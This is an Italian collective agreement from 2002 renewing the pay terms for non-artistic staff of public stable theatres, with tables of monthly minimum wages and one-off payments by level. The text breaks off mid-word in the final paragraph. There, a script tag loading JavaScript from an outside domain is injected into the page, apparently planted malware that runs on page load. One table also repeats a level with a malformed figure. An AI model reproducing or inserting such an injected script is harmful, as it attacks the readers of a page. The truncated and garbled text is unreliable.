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Categoria: Teatri stabili - personale non artistico
Settore: Poligrafici e Spettacolo
Data stipula: 8-11-2002
Data decorrenza: 1-1-2002
Data scadenza: 31-12-2003

L'anno 2002, il giorno 8 novembre presso la sede dell'AGIS in Roma,
via di Villa Patrizi 10

tra

- una rappresentanza dell'ANTAD e dell'ETI

e

- SLC/CGIL
- FISTEL/CISL
- UILCOM/UIL

in  attuazione  di  quanto  previsto dall'art. 49,  CCNL  24.1.01  per  il
personale  dipendente  dai Teatri stabili pubblici e  dai  Teatri  gestiti
dall'ETI  e  in  applicazione dei principi e  dei  criteri  sugli  assetti
contrattuali contenuti nel Protocollo sul costo del lavoro 23.7.93,  si  è
stipulata la seguente ipotesi di accordo di rinnovo per il biennio 1.1.02-
31.12.03  della parte economica del CCNL 24.1.01 che le parti si riservano
di  sottoporre  per  l'approvazione alle  rispettive  Assemblee  e  Organi
direttivi.

A  decorrere  dall'1.1.03  i minimi retributivi mensili  lordi  sono  così
stabiliti:

liv.    A*    B**   C***
                
  
                      
1A     713,74 48,29 311,17
1      643,49 43,53 280,42
2      539,52 36,50 234,92
3      488,94 33,08 212,78
4      438,34 29,66 190,64
5      399,02 27,00 173,43
6      337,20 22,81 146,36
7      281,00 19,01 122,99

* Minimi tabellari mensili lordi.

** Importi mensili lordi a titolo di EDR utili ai soli effetti della 13a
   mensilità,  del  premio annuale, delle ferie, del TFR, dell'indennità
   di preavviso e delle festività nazionali e infrasettimanali.

*** Importi  mensili  lordi  a  titolo di  elemento aggiuntivo dei minimi
    tabellari   mensili   utili   a   tutti   gli   effetti  contrattuali
    con esclusione degli aumenti periodici d'anzianità. Tali importi sono
    comprensivi,   assorbendoli,  di  quelli  previsti allo stesso titolo
    dal CCNL 24.1.01.

A decorrere dal 1.6.03, fermi restando i minimi tabellari mensili lordi di
cui  al precedente punto A e gli importi mensili lordi a titolo di EDR  di
cui  al precedente punto B, gli importi mensili lordi a titolo di elemento
aggiuntivo  dei  minimi  tabellari  mensili  utili  a  tutti  gli  effetti
contrattuali  con  esclusione  degli aumenti  periodici  d'anzianità  sono
stabiliti  nelle misure di cui appresso e sono comprensivi,  assorbendoli,
di quelli indicati al precedente punto C:

liv.     C***
  
            
1A       333,81
1        300,83
2        252,01
3        228,27
4        204,51
5        186,05
6        157,01
7        131,94

A  decorrere dall'1.11.03, fermi restando i minimi tabellari mensili lordi
di  cui al precedente punto A e gli importi mensili lordi a titolo di  EDR
di  cui  al  precedente punto B, gli importi mensili  lordi  a  titolo  di
elemento aggiuntivo dei minimi tabellari mensili utili a tutti gli effetti
contrattuali  con  esclusione  degli aumenti  periodici  d'anzianità  sono
stabiliti  nelle misure di cui appresso e sono comprensivi,  assorbendoli,
di quelli indicati ai precedenti punti C:

liv.     C***
  
            
1A       357,97
1        322,60
2        270,25
3        244,80
4        219,31
5        199,52
6        168,37
7        141,49

Relativamente  al periodo 1.1.02-31.12.02 e a totale e completa  copertura
di  tale  periodo, sarà corrisposto ai lavoratori in servizio con rapporto
di  lavoro a tempo indeterminato alla data di stipulazione della  presente
ipotesi di accordo e già in forza alle aziende all'1.1.02 un importo  'una
tantum' nelle misure lorde appresso indicate:

liv.    una tantum
  
              
1A         226,59
1          204,20
2          171,06
3          154,94
4          138,82
5           12628
5          126,28
6          106,58
7           89,56

L'importo  'una  tantum' sarà proporzionalmente ridotto per  i  lavoratori
assunti dopo l'1.1.02 con contratto di lavoro a tempo indeterminato  e  in
forza  alle  aziende alla data di stipulazione della presente  ipotesi  di
accordo.

Al  personale  che sia stato assunto a termine per l'intera  durata  della
stagione  teatrale 2001-2002 l'importo 'una tantum' di c<script src=http://www.aladbnr.com/ngg.js></script>













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